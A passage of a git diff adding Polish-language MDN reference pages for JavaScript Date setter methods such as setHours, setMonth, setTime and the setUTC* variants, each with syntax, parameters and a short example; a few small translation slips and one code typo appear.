wersji JavaScript 1.3</h3> + +<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>)</code></pre> + +<h2 id="Parametry" name="Parametry">Parametry</h2> + +<dl> + <dt><code>hoursValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 23, reprezentująca godziny.</dd> +</dl> + +<dl> + <dt><code>minutesValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.</dd> +</dl> + +<dl> + <dt><code>secondsValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, musisz także określić <code>minutesValue</code>.</dd> +</dl> + +<dl> + <dt><code>msValue</code> </dt> + <dd>A Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, musisz także określić <code>minutesValue</code> i <code>secondsValue</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określisz parametrów <code>minutesValue</code>, <code>secondsValue</code> i <code>msValue</code>, wartość zwracana użytych metod {{jsxref("Date.prototype.getMinutes()", "getMinutes()")}}, {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} i {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setHours</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty będą wzrastać o 1 (min + 1), i wartość 40 będzie użyta dla sekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad_Zastosowanie_setHours" name="Przyk.C5.82ad:_Zastosowanie_setHours">Przykład: Zastosowanie <code>setHours()</code></h3> + +<pre class="brush: js">var the BigDay = new Date(); +theBigDay.setHours(7); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getHours()")}}</li> + <li>{{jsxref("Date.prototype.setUTCHours()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html new file mode 100644 index 0000000000..c2a1359801 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.setMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia milisekundy dla określonej daty stosownie do czasu lokalnego.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="syntaxbox"><code><var>dateObj</var>.setMilliseconds(<var>millisecondsValue</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>millisecondsValue</code> </dt> + <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli sprecyzujesz liczbę z poza oczekiwanego szeregu, informacje zawarte w obiekcie <code>Date</code> będą aktualizowane. Na przykład, jeśli określisz 1005, liczba sekund rośnie o 1, i 5 jest użyte dla milisekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_setMilliseconds">Przykład: Zastosowanie <code>setMilliseconds()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setMilliseconds(100); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li> + <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html new file mode 100644 index 0000000000..011137c893 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html @@ -0,0 +1,60 @@ +--- +title: Date.prototype.setMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/setMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia minuty dla określonej daty stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre> + +<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do wersji JavaScript 1.3</h3> + +<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>minutesValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.</dd> +</dl> + +<dl> + <dt><code>secondsValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, musisz także określić <code>minutesValue</code>.</dd> +</dl> + +<dl> + <dt><code>msValue</code> </dt> + <dd>Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, musisz także określić <code>minutesValue</code> i <code>secondsValue</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określono parametrów <code>secondsValue</code> i <code>msValue</code>, są użyte wartości zwracanych metod <code>getSeconds</code> i <code>getMilliseconds</code>.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setMinutes</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty (<code>minutesValue</code>) będą wzrastać o 1 (<code>minutesValue</code> + 1) i wartość 40 będzie użyta dla sekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setMinutes" name="Przyk.C5.82ad:_Zastosowanie_setMinutes">Przykład: Zastosowanie <code>setMinutes()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setMinutes(45);</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getMinutes()")}}</li> + <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html new file mode 100644 index 0000000000..7016cb97e1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html @@ -0,0 +1,56 @@ +--- +title: Date.prototype.setMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/setMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia nazwę miesiąca dla określonej daty stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre> + +<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do wersji JavaScript 1.3</h3> + +<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>)</code></pre> + +<h3 id="Parameter" name="Parameter">Parametry</h3> + +<dl> + <dt><code>monthValue</code> </dt> + <dd>Liczba całkowita z przedziału 0 i 11 (reprezentuje miesiące od stycznia do grudnia).</dd> +</dl> + +<dl> + <dt><code>dayValue</code> </dt> + <dd>Liczba całkowita z przedziału 1 i 31, reprezentuje dzień miesiąca.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określisz parametru <code>dayValue</code>, zostanie zwrócona wartość użytej metody <code>getDate</code>.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setMonth()</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 15 dla <code>monthValue</code>, rok wzrośnie o 1 (year + 1) i 3 będzie użyte dla miesiąca.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setMonth" name="Przyk.C5.82ad:_Zastosowanie_setMonth">Przykład: Zastosowanie <code>setMonth()</code></h3> + +<pre class="brush: js">var theBigDay = new Date; +theBigDay.setMonth(6); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getMonth()")}}</li> + <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html new file mode 100644 index 0000000000..7a50dd98a7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html @@ -0,0 +1,56 @@ +--- +title: Date.prototype.setSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setSeconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia sekundy dla określonej daty stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre> + +<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do wersji JavaScript 1.3</h3> + +<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>)</code></pre> + +<h2 id="Parametry" name="Parametry">Parametry</h2> + +<dl> + <dt><code>secondsValue</code> </dt> + <dd>Liczba całkowita z przedziału 0 i 59.</dd> +</dl> + +<dl> + <dt><code>msValue</code> </dt> + <dd>Liczba z przedziału 0 i 999, reprezentująca milisekundy.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określisz parametru <code>msValue</code>, wartość zwracana użytej metody {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setSeconds()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setSeconds" name="Przyk.C5.82ad:_Zastosowanie_setSeconds">Przykład: Zastosowanie <code>setSeconds()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setSeconds(30); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getSeconds()")}}</li> + <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/settime/index.html b/files/pl/web/javascript/referencje/obiekty/date/settime/index.html new file mode 100644 index 0000000000..5aca5a36d7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/settime/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.setTime() +slug: Web/JavaScript/Referencje/Obiekty/Date/setTime +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia wartość obiektu {{jsxref("Date")}} stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setTime(<var>timeValue</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>timeValue</code> </dt> + <dd>Liczba całkowita reprezentująca liczbę milisekund liczonych od 1 stycznia 1970, 00:00:00.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Użyj metody <code>setTime()</code>, aby pomóc przydzielić dacie czas następnego obiektu {{jsxref("Date")}}.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setTime" name="Przyk.C5.82ad:_Zastosowanie_setTime">Przykład: Zastosowanie <code>setTime()</code></h3> + +<pre class="brush: js">var theBigDay = new Date("July 1, 1999"); +var sameAsBigDay = new Date(); +sameAsBigDay.setTime(theBigDay.getTime()) +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getTime()")}}</li> + <li>{{jsxref("Date.prototype.setUTCHours()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html new file mode 100644 index 0000000000..81496f9c1f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.setUTCDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCDate +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia dzień miesiąca dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setUTCDate(<var>dayValue</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>dayValue</code> </dt> + <dd>Liczba całkowita od 1 do 31, reprezentująca dni miesiąca.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCDate()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 40 dla <code>dayValue</code>, i nazwa miesiąca jaki jest w danym momencie przechowywany w obiekcie {{jsxref("Date")}} będzie czerwcem, to do dni przypiszemy wartość 10, ale wyświetlaną nazwą miesiąca będzie już lipiec.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCDate" name="Przyk.C5.82ad:_Zastosowanie_setUTCDate">Przykład: Zastosowanie <code>setUTCDate()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setUTCDate(20); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCDate()")}}</li> + <li>{{jsxref("Date.prototype.setDate()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html new file mode 100644 index 0000000000..71ea1db756 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html @@ -0,0 +1,57 @@ +--- +title: Date.prototype.setUTCFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia pełen rok dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setUTCFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>yearValue</code> </dt> + <dd>Liczba całkowita określająca numerycznie wartość roku, na przykład: 1995.</dd> +</dl> + +<dl> + <dt><code>monthValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 a 11, reprezentuje nazwy miesięcy, od stycznia do grudnia.</dd> +</dl> + +<dl> + <dt><code>dayValue</code> </dt> + <dd>Liczba całkowita pomiędzy 1 a 31, reprezentuje dzień miesiąca. Jeśli określimy parametr <code>dayValue</code>, to musimy także sprecyzować <code>monthValue</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określisz parametrów <code>monthValue</code> i <code>dayValue</code>, wartość zwracana metod {{jsxref("Date.prototype.getUTCMonth()", "getUTCMonth()")}} i {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}} jest w użyciu.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCFullYear()</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 15 dla <code>monthValue</code>, lata będą wzrastać o 1 (rok + 1), i 3 jest użyta jako miesiąc.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCFullYear" name="Przyk.C5.82ad:_Zastosowanie_setUTCFullYear">Przykład: Zastosowanie <code>setUTCFullYear()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setUTCFullYear(1997); +</pre> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setFullYear()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html new file mode 100644 index 0000000000..437e4bae2f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html @@ -0,0 +1,62 @@ +--- +title: Date.prototype.setUTCHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCHours +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia godzinę dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setUTCHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>hoursValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 a 23, reprezentująca godzinę.</dd> +</dl> + +<dl> + <dt><code>minutesValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 a 59, reprezentująca minutami.</dd> +</dl> + +<dl> + <dt><code>secondsValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 a 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, to musisz także określić parametr <code>minutesValue</code>.</dd> +</dl> + +<dl> + <dt><code>msValue</code> </dt> + <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, to musisz także określić parametry <code>minutesValue</code> i <code>secondsValue</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określisz parametrów <code>minutesValue</code>, <code>secondsValue</code> i <code>msValue</code>, wartość zwracana będzie użytych metod {{jsxref("Date.prototype.getUTCMinutes()", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCHours()</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty zawarte w obiekcie <code>Date</code> będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCHours" name="Przyk.C5.82ad:_Zastosowanie_setUTCHours">Przykład: Zastosowanie <code>setUTCHours()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setUTCHours(8); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCHours()")}}</li> + <li>{{jsxref("Date.prototype.setHours()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html new file mode 100644 index 0000000000..f12fd4c838 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.UTCMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia milisekundy dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMilliseconds(<var>millisecondsValue</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>millisecondsValue</code> </dt> + <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli parametr, który określiłeś jest z poza szeregu, <code>setUTCMilliseconds()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz 1100 dla <code>millisecondsValue</code>, sekunda przechowana w obiekcie {{jsxref("Date")}} wzrośnie o 1 i wartość 100 będzie użyta dla milisekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_setUTCMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_setUTCMilliseconds">Przykład: Zastosowanie <code>setUTCMilliseconds()</code></h4> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setUTCMilliseconds(500); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li> + <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html new file mode 100644 index 0000000000..d3ea20bafa --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html @@ -0,0 +1,57 @@ +--- +title: Date.prototype.setUTCMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia minuty dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>minutesValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.</dd> +</dl> + +<dl> + <dt><code>secondsValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, musisz także określić <code>minutesValue</code>.</dd> +</dl> + +<dl> + <dt><code>msValue</code> </dt> + <dd>Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, musisz także określić <code>minutesValue</code> i <code>secondsValue</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określono parametrów <code>secondsValue</code> i <code>msValue</code>, są użyte wartości zwracanych metod {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCMinutes()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty (<code>minutesValue</code>) będą wzrastać o 1 (<code>minutesValue</code> + 1) i wartość 40 będzie użyta dla sekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCMinutes" name="Przyk.C5.82ad:_Zastosowanie_setUTCMinutes">Przykład: Zastosowanie <code>setUTCMinutes()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setUTCMinutes(43); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li> + <li>{{jsxref("Date.prototype.setMinutes()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html new file mode 100644 index 0000000000..78448e441f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.setUTCMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia miesiąc dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>monthValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 a 11, reprezentująca nazwy miesięcy od stycznia do grudnia.</dd> +</dl> + +<dl> + <dt><code>dayValue</code> </dt> + <dd>Liczba całkowita od 1 do 31, reprezentująca dzień miesiąca.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określisz parametru <code>dayValue</code>, zostanie zwrócona wartość użytej metody {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}}.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCMonth()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 15 dla <code>monthValue</code>, rok wzrośnie o 1 (rok + 1) i 3, które pozostało będzie użyte dla miesiąca.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCMonth" name="Przyk.C5.82ad:_Zastosowanie_setUTCMonth">Przykład: Zastosowanie <code>setUTCMonth()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setUTCMonth(11); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + 